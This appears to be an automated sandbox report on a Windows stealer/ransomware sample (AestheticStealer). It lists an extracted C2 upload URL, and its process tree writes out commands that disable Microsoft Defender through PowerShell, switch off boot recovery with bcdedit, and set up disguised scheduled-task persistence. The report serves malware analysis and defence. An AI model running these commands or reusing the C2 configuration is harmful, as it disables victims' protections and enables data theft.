Overview

overview

10

Static

static

3

WindowsHos...er.exe

windows10-2004-x64

10

WindowsHos...er.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/09/2026, 12:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    WindowsHostManager.exe
  • Size 5.7MB
  • Sample260928-pyzbmsvs7r
  • SHA256 c5d05af1708d77551febb0cdfa51b80b2a6452dc7b415b29c403c2c98cc686d3
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionaesthetic_stealerpersistenceransomwarestealertrojan

Malware Config

Extracted

Family

  • aesthetic_stealer

C2

  • https://92.5.145.65.nip.io/api/upload

Attributes
  • auto_steal

    first

  • debug

    false

  • delivery

    PANEL

  • install_folder

    %ApplicationData%

  • install_name

    WindowsHostManager.exe

  • persistence

    registry,scheduler,userinit

  • rootkit

    false

  • secret_key

    35d085cb46071b5d3b68a1b2af492e37

Signatures

  • Family: AestheticStealer

    AestheticStealer is a Windows stealer written in C#.

    stealeraesthetic_stealer
  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 23 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 2 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies firewall policy service 3 TTPs 8 IoCs
    defense_evasion
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Windows security bypass 2 TTPs 1 IoCs
    defense_evasiontrojan
  • Modifies boot configuration data using bcdedit 1 TTPs 13 IoCs
    ransomwareevasion
  • Renames multiple (81) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Disables RegEdit via registry modification 1 IoCs
    defense_evasion
  • Disables one or more Microsoft Defender components 1 TTPs 4 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Downloads MZ/PE file 1 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Executes dropped EXE 7 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs
    defense_evasion
  • Windows security modification 2 TTPs 18 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 26 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Modifies Security services 2 TTPs 1 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in System32 directory 7 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 40 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 51 IoCs
  • Modifies registry class 4 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 21 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\WindowsHostManager.exe
    "C:\Users\Admin\AppData\Local\Temp\WindowsHostManager.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Windows security bypass
    • Windows security modification
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5880
    • C:\Windows\SYSTEM32\schtasks.exe
      "schtasks" /Create /TN "Microsoft\Windows\AppID\SecurityHealthServiceHost" /TR "\"C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe\"" /RL HIGHEST /SC ONLOGON /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1220
    • C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe
      "C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe"
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Adds Run key to start application
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /Create /TN "Microsoft\Windows\AppID\SecurityHealthServiceHost" /TR "\"C:\Users\Admin\AppData\Roaming\WindowsHostManager.exe\"" /RL HIGHEST /SC ONLOGON /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4116
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c mountvol z: /S
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4120
        • C:\Windows\system32\mountvol.exe
          mountvol z: /S
          4⤵
            PID:4152
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c mountvol z: /D
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5720
          • C:\Windows\system32\mountvol.exe
            mountvol z: /D
            4⤵
            • Enumerates connected drives
            PID:5280
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c mountvol z: /S
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1164
          • C:\Windows\system32\mountvol.exe
            mountvol z: /S
            4⤵
              PID:4664
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c mountvol z: /D
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5904
            • C:\Windows\system32\mountvol.exe
              mountvol z: /D
              4⤵
              • Enumerates connected drives
              PID:5956
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c mountvol z: /S
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2924
            • C:\Windows\system32\mountvol.exe
              mountvol z: /S
              4⤵
                PID:2644
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c mountvol z: /D
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4828
              • C:\Windows\system32\mountvol.exe
                mountvol z: /D
                4⤵
                • Enumerates connected drives
                PID:3208
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c mountvol z: /S
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5952
              • C:\Windows\system32\mountvol.exe
                mountvol z: /S
                4⤵
                  PID:4996
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c mountvol z: /D
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3708
                • C:\Windows\system32\mountvol.exe
                  mountvol z: /D
                  4⤵
                  • Enumerates connected drives
                  PID:4980
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c mountvol z: /S
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:1660
                • C:\Windows\system32\mountvol.exe
                  mountvol z: /S
                  4⤵
                    PID:2936
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c mountvol z: /D
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:4324
                  • C:\Windows\system32\mountvol.exe
                    mountvol z: /D
                    4⤵
                    • Enumerates connected drives
                    PID:5440
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c mountvol z: /S
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5272
                  • C:\Windows\system32\mountvol.exe
                    mountvol z: /S
                    4⤵
                      PID:4888
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c mountvol z: /D
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:5048
                    • C:\Windows\system32\mountvol.exe
                      mountvol z: /D
                      4⤵
                      • Enumerates connected drives
                      PID:4984
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c mountvol z: /S
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:5896
                    • C:\Windows\system32\mountvol.exe
                      mountvol z: /S
                      4⤵
                        PID:4276
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd.exe" /c mountvol z: /D
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:1268
                      • C:\Windows\system32\mountvol.exe
                        mountvol z: /D
                        4⤵
                        • Enumerates connected drives
                        PID:4064
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd.exe" /c mountvol z: /S
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:3640
                      • C:\Windows\system32\mountvol.exe
                        mountvol z: /S
                        4⤵
                          PID:2136
                      • C:\Windows\SYSTEM32\cmd.exe
                        "cmd.exe" /c mountvol z: /D
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3364
                        • C:\Windows\system32\mountvol.exe
                          mountvol z: /D
                          4⤵
                          • Enumerates connected drives
                          PID:5532
                      • C:\Windows\SYSTEM32\cmd.exe
                        "cmd.exe" /c mountvol z: /S
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5788
                        • C:\Windows\system32\mountvol.exe
                          mountvol z: /S
                          4⤵
                            PID:5408
                        • C:\Windows\SYSTEM32\cmd.exe
                          "cmd.exe" /c mountvol z: /D
                          3⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5072
                          • C:\Windows\system32\mountvol.exe
                            mountvol z: /D
                            4⤵
                            • Enumerates connected drives
                            PID:5032
                        • C:\Windows\SYSTEM32\cmd.exe
                          "cmd.exe" /c mountvol z: /S
                          3⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3760
                          • C:\Windows\system32\mountvol.exe
                            mountvol z: /S
                            4⤵
                              PID:2736
                          • C:\Windows\SYSTEM32\cmd.exe
                            "cmd.exe" /c mountvol z: /D
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:6060
                            • C:\Windows\system32\mountvol.exe
                              mountvol z: /D
                              4⤵
                              • Enumerates connected drives
                              PID:2380
                          • C:\Windows\SYSTEM32\cmd.exe
                            "cmd.exe" /c mountvol z: /S
                            3⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3224
                            • C:\Windows\system32\mountvol.exe
                              mountvol z: /S
                              4⤵
                                PID:3692
                            • C:\Windows\SYSTEM32\cmd.exe
                              "cmd.exe" /c mountvol z: /D
                              3⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:5580
                              • C:\Windows\system32\mountvol.exe
                                mountvol z: /D
                                4⤵
                                • Enumerates connected drives
                                PID:2596
                            • C:\Windows\SYSTEM32\cmd.exe
                              "cmd.exe" /c mountvol z: /S
                              3⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:1556
                              • C:\Windows\system32\mountvol.exe
                                mountvol z: /S
                                4⤵
                                  PID:2912
                              • C:\Windows\SYSTEM32\cmd.exe
                                "cmd.exe" /c mountvol z: /D
                                3⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:5268
                                • C:\Windows\system32\mountvol.exe
                                  mountvol z: /D
                                  4⤵
                                  • Enumerates connected drives
                                  PID:204
                              • C:\Windows\SYSTEM32\cmd.exe
                                "cmd.exe" /c mountvol z: /S
                                3⤵
                                • Executes a command shell one-liner
                                • Suspicious use of WriteProcessMemory
                                PID:5384
                                • C:\Windows\system32\mountvol.exe
                                  mountvol z: /S
                                  4⤵
                                    PID:4568
                                • C:\Windows\SYSTEM32\cmd.exe
                                  "cmd.exe" /c mountvol z: /D
                                  3⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:3148
                                  • C:\Windows\system32\mountvol.exe
                                    mountvol z: /D
                                    4⤵
                                    • Enumerates connected drives
                                    PID:2664
                                • C:\Windows\SYSTEM32\cmd.exe
                                  "cmd.exe" /c mountvol z: /S
                                  3⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:4576
                                  • C:\Windows\system32\mountvol.exe
                                    mountvol z: /S
                                    4⤵
                                      PID:5832
                                  • C:\Windows\SYSTEM32\cmd.exe
                                    "cmd.exe" /c mountvol z: /D
                                    3⤵
                                    • Executes a command shell one-liner
                                    • Suspicious use of WriteProcessMemory
                                    PID:2848
                                    • C:\Windows\system32\mountvol.exe
                                      mountvol z: /D
                                      4⤵
                                      • Enumerates connected drives
                                      PID:3556
                                  • C:\Windows\SYSTEM32\cmd.exe
                                    "cmd.exe" /c mountvol z: /S
                                    3⤵
                                    • Executes a command shell one-liner
                                    • Suspicious use of WriteProcessMemory
                                    PID:2096
                                    • C:\Windows\system32\mountvol.exe
                                      mountvol z: /S
                                      4⤵
                                        PID:4512
                                    • C:\Windows\SYSTEM32\cmd.exe
                                      "cmd.exe" /c mountvol z: /S
                                      3⤵
                                      • Executes a command shell one-liner
                                      • Suspicious use of WriteProcessMemory
                                      PID:3728
                                      • C:\Windows\system32\mountvol.exe
                                        mountvol z: /S
                                        4⤵
                                          PID:4140
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd.exe" /c mountvol z: /D
                                        3⤵
                                        • Executes a command shell one-liner
                                        PID:6092
                                        • C:\Windows\system32\mountvol.exe
                                          mountvol z: /D
                                          4⤵
                                          • Enumerates connected drives
                                          PID:1744
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd.exe" /c mountvol z: /D
                                        3⤵
                                        • Executes a command shell one-liner
                                        PID:2392
                                        • C:\Windows\system32\mountvol.exe
                                          mountvol z: /D
                                          4⤵
                                          • Enumerates connected drives
                                          PID:4760
                                      • C:\Windows\SYSTEM32\cmd.exe
                                        "cmd.exe" /c mountvol z: /S
                                        3⤵
                                        • Executes a command shell one-liner
                                        PID:4920
                                        • C:\Windows\system32\mountvol.exe
                                          mountvol z: /S
                                          4⤵
                                            PID:3164
                                        • C:\Windows\SYSTEM32\cmd.exe
                                          "cmd.exe" /c mountvol z: /D
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:1224
                                          • C:\Windows\system32\mountvol.exe
                                            mountvol z: /D
                                            4⤵
                                            • Enumerates connected drives
                                            PID:1244
                                        • C:\Windows\SYSTEM32\cmd.exe
                                          "cmd.exe" /c mountvol z: /S
                                          3⤵
                                          • Executes a command shell one-liner
                                          PID:3360
                                          • C:\Windows\system32\mountvol.exe
                                            mountvol z: /S
                                            4⤵
                                              PID:3680
                                          • C:\Windows\SYSTEM32\cmd.exe
                                            "cmd.exe" /c mountvol z: /D
                                            3⤵
                                            • Executes a command shell one-liner
                                            PID:4872
                                            • C:\Windows\system32\mountvol.exe
                                              mountvol z: /D
                                              4⤵
                                              • Enumerates connected drives
                                              PID:3448
                                          • C:\Users\Admin\AppData\Local\Temp\RWLcruy.exe
                                            "C:\Users\Admin\AppData\Local\Temp\RWLcruy.exe"
                                            3⤵
                                            • Modifies WinLogon for persistence
                                            • Modifies Windows Defender DisableAntiSpyware settings
                                            • Modifies Windows Defender Real-time Protection settings
                                            • UAC bypass
                                            • Disables RegEdit via registry modification
                                            • Drops file in Drivers directory
                                            • Event Triggered Execution: Image File Execution Options Injection
                                            • Executes dropped EXE
                                            • Adds Run key to start application
                                            • Checks whether UAC is enabled
                                            • Enumerates connected drives
                                            • Drops file in System32 directory
                                            • Reads the TCP/IP host and domain name from the registry
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            • Suspicious use of SetWindowsHookEx
                                            • System policy modification
                                            PID:3712
                                            • C:\Users\Admin\AppData\Local\Temp\023xwr2.exe
                                              "C:\Users\Admin\AppData\Local\Temp\023xwr2.exe" -kill -paralyze "SecurityHealthService.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5064
                                            • C:\Windows\system32\def_none.exe
                                              "C:\Windows\system32\def_none.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:920
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
                                              4⤵
                                              • Disables one or more Microsoft Defender components
                                              • Command and Scripting Interpreter: PowerShell
                                              • Enumerates connected drives
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5124
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "powershell.exe" -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
                                              4⤵
                                              • Disables one or more Microsoft Defender components
                                              • Command and Scripting Interpreter: PowerShell
                                              • Enumerates connected drives
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5568
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "powershell.exe" -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
                                              4⤵
                                              • Disables one or more Microsoft Defender components
                                              • Command and Scripting Interpreter: PowerShell
                                              • Enumerates connected drives
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:3228
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              "powershell.exe" -Command "Set-MpPreference -DisableIOAVProtection $true"
                                              4⤵
                                              • Disables one or more Microsoft Defender components
                                              • Command and Scripting Interpreter: PowerShell
                                              • Enumerates connected drives
                                              PID:5604
                                            • C:\Windows\System32\ReAgentc.exe
                                              "C:\Windows\System32\ReAgentc.exe" /disable
                                              4⤵
                                              • Drops file in System32 directory
                                              • Drops file in Windows directory
                                              PID:5004
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {default} recoveryenabled No
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:4208
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:3856
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {current} recoveryenabled false
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:2424
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {current} optionsedit false
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:5256
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {current} advancedoptions false
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:4964
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {current} bootmenupolicy legacy
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:2168
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {bootmgr} bootsequence {current}
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:1228
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {bootmgr} timeout 0
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:4992
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {bootmgr} displaybootmenu no
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:1240
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {bootmgr} displayorder {default} /addfirst
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:4856
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {fwbootmgr} displayorder {bootmgr} /addfirst
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:4608
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {current} safeboot No
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:2512
                                            • C:\Windows\System32\bcdedit.exe
                                              "C:\Windows\System32\bcdedit.exe" /set {bootmgr} removeoptions
                                              4⤵
                                              • Modifies boot configuration data using bcdedit
                                              PID:4100
                                            • C:\Windows\SYSTEM32\taskkill.exe
                                              taskkill.exe /im Explorer.exe /f
                                              4⤵
                                              • Kills process with taskkill
                                              PID:4956
                                          • C:\Windows\SYSTEM32\cmd.exe
                                            "cmd.exe" /c mountvol z: /S
                                            3⤵
                                            • Executes a command shell one-liner
                                            PID:2788
                                            • C:\Windows\system32\mountvol.exe
                                              mountvol z: /S
                                              4⤵
                                                PID:1456
                                            • C:\Windows\SYSTEM32\cmd.exe
                                              "cmd.exe" /c mountvol z: /D
                                              3⤵
                                              • Executes a command shell one-liner
                                              PID:3356
                                              • C:\Windows\system32\mountvol.exe
                                                mountvol z: /D
                                                4⤵
                                                • Enumerates connected drives
                                                PID:5972
                                            • C:\Windows\SYSTEM32\cmd.exe
                                              "cmd.exe" /c mountvol z: /S
                                              3⤵
                                              • Executes a command shell one-liner
                                              PID:1696
                                              • C:\Windows\system32\mountvol.exe
                                                mountvol z: /S
                                                4⤵
                                                  PID:5200
                                              • C:\Windows\SYSTEM32\cmd.exe
                                                "cmd.exe" /c mountvol z: /D
                                                3⤵
                                                • Executes a command shell one-liner
                                                PID:3060
                                                • C:\Windows\system32\mountvol.exe
                                                  mountvol z: /D
                                                  4⤵
                                                  • Enumerates connected drives
                                                  PID:4888
                                          • C:\Windows\system32\def_none.exe
                                            "C:\Windows\system32\def_none.exe" -s -worker -tilog
                                            1⤵
                                            • Modifies Windows Defender DisableAntiSpyware settings
                                            • Modifies Windows Defender Real-time Protection settings
                                            • Modifies Windows Defender TamperProtection settings
                                            • Modifies Windows Defender notification settings
                                            • Modifies firewall policy service
                                            • Modifies security service
                                            • Event Triggered Execution: Image File Execution Options Injection
                                            • Executes dropped EXE
                                            • Impair Defenses: Safe Mode Boot
                                            • Windows security modification
                                            • Modifies Security services
                                            • Reads the TCP/IP host and domain name from the registry
                                            • Modifies data under HKEY_USERS
                                            • Modifies registry class
                                            PID:1348
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /DISABLE
                                              2⤵
                                                PID:6072
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /DISABLE
                                                2⤵
                                                  PID:1736
                                                • C:\Windows\system32\schtasks.exe
                                                  schtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /DISABLE
                                                  2⤵
                                                    PID:4132
                                                  • C:\Windows\system32\schtasks.exe
                                                    schtasks.exe /Change /TN "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /DISABLE
                                                    2⤵
                                                      PID:5740
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks.exe /Change /TN "\Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /DISABLE
                                                      2⤵
                                                        PID:4168
                                                    • C:\Windows\system32\def_none.exe
                                                      C:\Windows\system32\def_none.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:4760
                                                    • C:\Windows\system32\def_none.exe
                                                      "C:\Windows\system32\def_none.exe" -s -worker -tilog
                                                      1⤵
                                                      • Modifies Windows Defender TamperProtection settings
                                                      • Executes dropped EXE
                                                      • Windows security modification
                                                      • Reads the TCP/IP host and domain name from the registry
                                                      PID:1116
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
                                                      1⤵
                                                        PID:3696
                                                      • C:\Windows\system32\AUDIODG.EXE
                                                        C:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004F4
                                                        1⤵
                                                          PID:2036

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Reconnaissance

                                                              Resource Development

                                                              Initial Access

                                                              Execution

                                                              Command and Scripting Interpreter

                                                              2
                                                              T1059

                                                              PowerShell

                                                              1
                                                              T1059.001

                                                              Windows Command Shell

                                                              1
                                                              T1059.003

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              Persistence

                                                              Boot or Logon Autostart Execution

                                                              2
                                                              T1547

                                                              Registry Run Keys / Startup Folder

                                                              1
                                                              T1547.001

                                                              Winlogon Helper DLL

                                                              1
                                                              T1547.004

                                                              Create or Modify System Process

                                                              6
                                                              T1543

                                                              Windows Service

                                                              6
                                                              T1543.003

                                                              Event Triggered Execution

                                                              1
                                                              T1546

                                                              Image File Execution Options Injection

                                                              1
                                                              T1546.012

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              Privilege Escalation

                                                              Abuse Elevation Control Mechanism

                                                              1
                                                              T1548

                                                              Bypass User Account Control

                                                              1
                                                              T1548.002

                                                              Boot or Logon Autostart Execution

                                                              2
                                                              T1547

                                                              Registry Run Keys / Startup Folder

                                                              1
                                                              T1547.001

                                                              Winlogon Helper DLL

                                                              1
                                                              T1547.004

                                                              Create or Modify System Process

                                                              6
                                                              T1543

                                                              Windows Service

                                                              6
                                                              T1543.003

                                                              Event Triggered Execution

                                                              1
                                                              T1546

                                                              Image File Execution Options Injection

                                                              1
                                                              T1546.012

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Scheduled Task

                                                              1
                                                              T1053.005

                                                              Defense Evasion

                                                              Abuse Elevation Control Mechanism

                                                              1
                                                              T1548

                                                              Bypass User Account Control

                                                              1
                                                              T1548.002

                                                              Impair Defenses

                                                              11
                                                              T1562

                                                              Disable or Modify System Firewall

                                                              1
                                                              T1562.004

                                                              Disable or Modify Tools

                                                              8
                                                              T1562.001

                                                              Safe Mode Boot

                                                              1
                                                              T1562.009

                                                              Modify Registry

                                                              13
                                                              T1112

                                                              Credential Access

                                                              Discovery

                                                              Peripheral Device Discovery

                                                              1
                                                              T1120

                                                              Query Registry

                                                              2
                                                              T1012

                                                              System Information Discovery

                                                              3
                                                              T1082

                                                              System Network Configuration Discovery

                                                              2
                                                              T1016

                                                              Internet Connection Discovery

                                                              1
                                                              T1016.001

                                                              Lateral Movement

                                                              Collection

                                                              Command and Control

                                                              Exfiltration

                                                              Impact

                                                              Inhibit System Recovery

                                                              1
                                                              T1490

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              StartupProfileData-NonInteractive
                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                              • Size 1KB
                                                              • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
                                                              • MD5 SHA1 SHA512 TLSH
                                                              Submit Download

                                                              StartupProfileData-NonInteractive
                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                              • Size 1KB
                                                              • SHA256 f49368251d80f86e97cca364d5415c373b1daa292e831a8755e846d461d0aba0
                                                              • MD5 SHA1 SHA512 TLSH
                                                              Submit Download

                                                              StartupProfileData-NonInteractive
                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                              • Size 1KB
                                                              • SHA256 e86ea29d5aaa9164cc3269e41b61e7ae574db7ed89ad3391ac83a29aee93c4ab
                                                              • MD5 SHA1 SHA512 TLSH
                                                              Submit Download

                                                              023xwr2.exe
                                                              • Path C:\Users\Admin\AppData\Local\Temp\023xwr2.exe
                                                              • Size 352KB
                                                              • SHA256 e23cfbd6b2c598758a2b5b20359c8d5b5cf2212f57ee0a95f5aac55bd7cf9f2e
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download

                                                              RWLcruy.exe
